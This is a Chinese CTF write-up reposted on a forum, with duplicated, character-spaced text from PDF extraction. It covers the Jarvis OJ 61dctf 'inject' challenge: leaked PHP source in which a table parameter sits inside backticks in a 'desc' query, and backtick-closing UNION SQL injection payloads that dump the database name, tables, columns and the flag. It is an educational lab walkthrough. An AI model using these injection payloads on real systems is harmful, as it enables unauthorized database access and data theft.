搜索

[27045] 2020-07-20_desc巧用及反引号`SQL注入——【61dctf】injectwriteup

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2020-07-20_desc巧用及反引号`SQL注入——【61dctf】injectwriteup d e s c 巧 用 及 反 引 号   `   S Q L 注 入 — — 【 6 1 d c t f 】   i n j e c t   w r i t e u p V e r .   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 7 - 2 0 描 述 描 述 进 入 页 面 ， 发 现 只 有   f l a g { x x x } 题 目 h i n t ： 先 找 到 源 码 ~ 源 码 泄 露 源 码 泄 露 使 用 后 台 目 录 扫 描 工 具 御 剑 进 行 后 台 扫 描 F 1 2 查 看 器 得 到 泄 露 的 源 码 代 码 分 析 代 码 分 析 当 未 输 入 t a b l e 参 数 时 ， t a b l e 的 值 默 认 为 t e s t 当 输 入 了 t a b l e 的 参 数 时 ， t a b l e 的 值 为 输 入 的 值 对 变 量 $ t a b l e 进 行 过 滤 ， F i l t e r 函 数 为 用 户 自 定 义 的 函 数 当 m y s q l i _ q u e r y ( ) 函 数 能 够 通 过 ， 则 不 调 用 H a c k e r ( ) 函 数 当 m y s q l i _ q u e r y ( ) 函 数 调 用 失 败 ， 则 调 用 H a c k e r ( ) 函 数 定 义 s q l 语 句 并 执 行 ， 且 只 输 出 查 询 语 句 的 第 一 条 测 试 测 试 当 令 t a b l e = t e s t 页 面 返 回 正 常 ， f l a g { x x x } 题 目 链 接   ： h t t p : / / w e b . j a r v i s o j . c o m : 3 2 7 9 4 / 源 码 泄 露 ： h t t p : / / w e b . j a r v i s o j . c o m : 3 2 7 9 4 / i n d e x . p h p ~ < ? p h p r e q u i r e ( " c o n f i g . p h p " ) ; $ t a b l e   =   $ _ G E T [ ' t a b l e ' ] ? $ _ G E T [ ' t a b l e ' ] : " t e s t " ; $ t a b l e   =   F i l t e r ( $ t a b l e ) ; m y s q l i _ q u e r y ( $ m y s q l i , " d e s c   ` s e c r e t _ { $ t a b l e } ` " )   o r   H a c k e r ( ) ; $ s q l   =   " s e l e c t   ' f l a g { x x x } '   f r o m   s e c r e t _ { $ t a b l e } " ; $ r e t   =   s q l _ q u e r y ( $ s q l ) ; e c h o   $ r e t [ 0 ] ; ? > $ t a b l e   =   $ _ G E T [ ' t a b l e ' ] ? $ _ G E T [ ' t a b l e ' ] : " t e s t " ; ` $ t a b l e   =   F i l t e r ( $ t a b l e ) ; m y s q l i _ q u e r y ( $ m y s q l i , " d e s c   ` s e c r e t _ { $ t a b l e } ` " )   o r   H a c k e r ( ) ; $ s q l   =   " s e l e c t   ' f l a g { x x x } '   f r o m   s e c r e t _ { $ t a b l e } " ; $ r e t   =   s q l _ q u e r y ( $ s q l ) ; e c h o   $ r e t [ 0 ] ; h t t p : / / w e b . j a r v i s o j . c o m : 3 2 7 9 4 / i n d e x . p h p ? t a b l e = t e s t
当 令 t a b l e 为 其 他 值 ， 比 如 t a b l e = 1 2 3 页 面 返 回   H e l l o   H a c k e r 从 源 码 分 析 可 知 当 t a b l e = t e s t 时 ， 页 面 返 回 f l a g { x x x } 因 此 该 条 语 句 没 有 跳 转 到 H a c k e r ( ) ， 而 是 执 行 了 m y s q l i _ q u e r y ( ) 函 数 而 反 过 来 ， 当 t a b l e 为 其 他 值 时 ， m y s q l i _ q u e r y ( ) 函 数 执 行 失 败 ， 从 而 执 行 了 H a c k e r ( ) K e y 观 察 可 知 ， 输 入 的 t a b l e 参 数 被 d e s c   使 用 进 行 降 序 排 序 并 且 ， d e s c 后 使 用 的 是   `   ( 反 引 号 )   位 于 键 盘 E s c 正 下 方 关 于 反 引 号 例 如 ， 如 果 t e s t 表 中 存 在 一 个 ” f r o m ” 字 段 ， 当 我 们 查 找 内 容 时 ， 就 需 要 使 用 反 引 号 ， 以 防 使 用 保 留 字 符 而 报 错 关 于 d e s c 查 看 表 结 构 例 如 ， 使 用 d e s c 查 看 u s e r s 表 的 结 构 h t t p : / / w e b . j a r v i s o j . c o m : 3 2 7 9 4 / i n d e x . p h p ? t a b l e = 1 2 3 / / 源 码 < ? p h p r e q u i r e ( " c o n f i g . p h p " ) ; $ t a b l e   =   $ _ G E T [ ' t a b l e ' ] ? $ _ G E T [ ' t a b l e ' ] : " t e s t " ; $ t a b l e   =   F i l t e r ( $ t a b l e ) ; m y s q l i _ q u e r y ( $ m y s q l i , " d e s c   ` s e c r e t _ { $ t a b l e } ` " )   o r   H a c k e r ( ) ; $ s q l   =   " s e l e c t   ' f l a g { x x x } '   f r o m   s e c r e t _ { $ t a b l e } " ; $ r e t   =   s q l _ q u e r y ( $ s q l ) ; e c h o   $ r e t [ 0 ] ; ? > m y s q l i _ q u e r y ( $ m y s q l i , " d e s c   ` s e c r e t _ { $ t a b l e } ` " )   o r   H a c k e r ( ) ; m y s q l i _ q u e r y ( $ m y s q l i , " d e s c   ` s e c r e t _ { $ t a b l e } ` " )   o r   H a c k e r ( ) ; $ s q l   =   " s e l e c t   ' f l a g { x x x } '   f r o m   s e c r e t _ { $ t a b l e } " ; $ r e t   =   s q l _ q u e r y ( $ s q l ) ; 反 引 号   `   在 m y s q l 中 是 为 了 区 分 m y s q l 中 的 保 留 字 符 与 普 通 字 符 而 引 入 的 符 号 s e l e c t     ` f r o m `   f r o m   t e s t d e s c   t a b l e n a m e     # 查 看 t a b l e 的 结 构 信 息 d e s c   u s e r s
因 此 ， 如 果 d e s c   后 接 的 表 不 存 在 ， 则 返 回 失 败 由 此 可 知 当 t a b l e = t e s t 时 ， 由 于 库 中 存 在 s e c r e t _ t e s t 表 ， 因 此 m y s q l i _ q u e r y ( ) 函 数 返 回 成 功 ， 继 续 向 下 执 行 ， 从 而 输 出 了 f l a g { x x x } 当 t a b l e = 1 2 3 时 ， 因 为 库 中 不 存 在 s e c r e _ 1 2 3 表 ， 因 此 跳 转 h a c k e r ( ) 函 数 结 束 程 序 反 引 号 闭 合 注 入 反 引 号 闭 合 注 入 通 过 反 引 号 的 闭 合 ， 可 以 构 造 S Q L 注 入 构 造 p a y l o a d ， 测 试 当 前 数 据 库 名 称 相 当 于 这 样 ， d e s c   s e c r e t _ t e s t 能 够 执 行 通 过 ， 并 且 下 面 的 s q l 语 句 可 以 查 询 数 据 库 T i p 1 :   在 第 二 条 在 第 二 条 s q l 语 句 中 ， 两 个 反 引 号 就 相 当 于 了 空 格 语 句 中 ， 两 个 反 引 号 就 相 当 于 了 空 格     T i p 2 :   注 意 到 最 后 页 面 只 输 出 数 组 变 量 注 意 到 最 后 页 面 只 输 出 数 组 变 量 r e t 的 第 的 第 0 位 ， 而 第 位 ， 而 第 0 位 恒 为 位 恒 为 f l a g { x x x } ， 所 以 为 了 控 制 输 出 ， 可 以 使 用 ， 所 以 为 了 控 制 输 出 ， 可 以 使 用 l i m i t   1 , 1 来 进 行 约 束 ， 使 返 回 结 果 从 来 进 行 约 束 ， 使 返 回 结 果 从 第 第 1 位 开 始 位 开 始 爆 表 名 查 询 到 存 在 查 询 到 存 在 s e c r e t _ f l a g , s e c r e t _ t e s t   两 个 表 两 个 表 爆 字 段 m y s q l i _ q u e r y ( $ m y s q l i , " d e s c   ` s e c r e t _ { $ t a b l e } ` " )   o r   H a c k e r ( ) ; $ s q l   =   " s e l e c t   ' f l a g { x x x } '   f r o m   s e c r e t _ { $ t a b l e } " ; $ r e t   =   s q l _ q u e r y ( $ s q l ) ; p a y l o a d :   ? t a b l e = t e s t `   `   u n i o n   s e l e c t   d a t a b a s e ( ) m y s q l i _ q u e r y ( $ m y s q l i , " d e s c   ` s e c r e t _ t e s t `   `   u n i o n   s e l e c t   d a t a b a s e ( ) ` " )   o r   H a c k e r ( ) ; $ s q l   =   " s e l e c t   ' f l a g { x x x } '   f r o m   s e c r e t _ t e s t `   `   u n i o n   s e l e c t   d a t a b a s e ( ) " ; $ r e t   =   s q l _ q u e r y ( $ s q l ) ; e c h o   $ r e t [ 0 ] ; p a y l o a d :   ? t a b l e = t e s t `   `   u n i o n   s e l e c t   g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s h c e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( ) l i m i t   1 , 1 p a y l o a d :   ? t a b l e = t e s t `   ` u n i o n   s e l e c t   g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )   l i m i t   1 , 1
查 询 到 存 在 查 询 到 存 在 f l a g U w i l l N e v e r K n o w , u s e r n a m e   两 个 字 段 两 个 字 段 爆 值 查 询 到 查 询 到 f l a g { l u c k y G a m e ~ } 总 结 总 结 1 .   d e s c   +   表 名     可 以 查 询 表 的 结 构 ， 同 时 也 可 以 用 来 判 断 表 是 否 存 在 2 .   反 引 号   `   在 M y S Q L 中 用 来 区 分 保 留 字 符 与 普 通 字 符 3 .   l i m i t   关 键 字 可 以 用 来 控 制 输 出 原 文 ： h t t p s : / / b l o g . c s d n . n e t / q q _ 4 2 9 3 9 5 2 7 / a r t i c l e / d e t a i l s / 1 0 0 1 2 9 2 5 4 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！       目 前 目 前 2 5 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们 p a y l o a d :   ? t a b l e = t e s t `   ` u n i o n   s e l e c t   g r o u p _ c o n c a t ( f l a g U w i l l N e v e r K n o w )   f r o m   s e c r e t _ f l a g
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理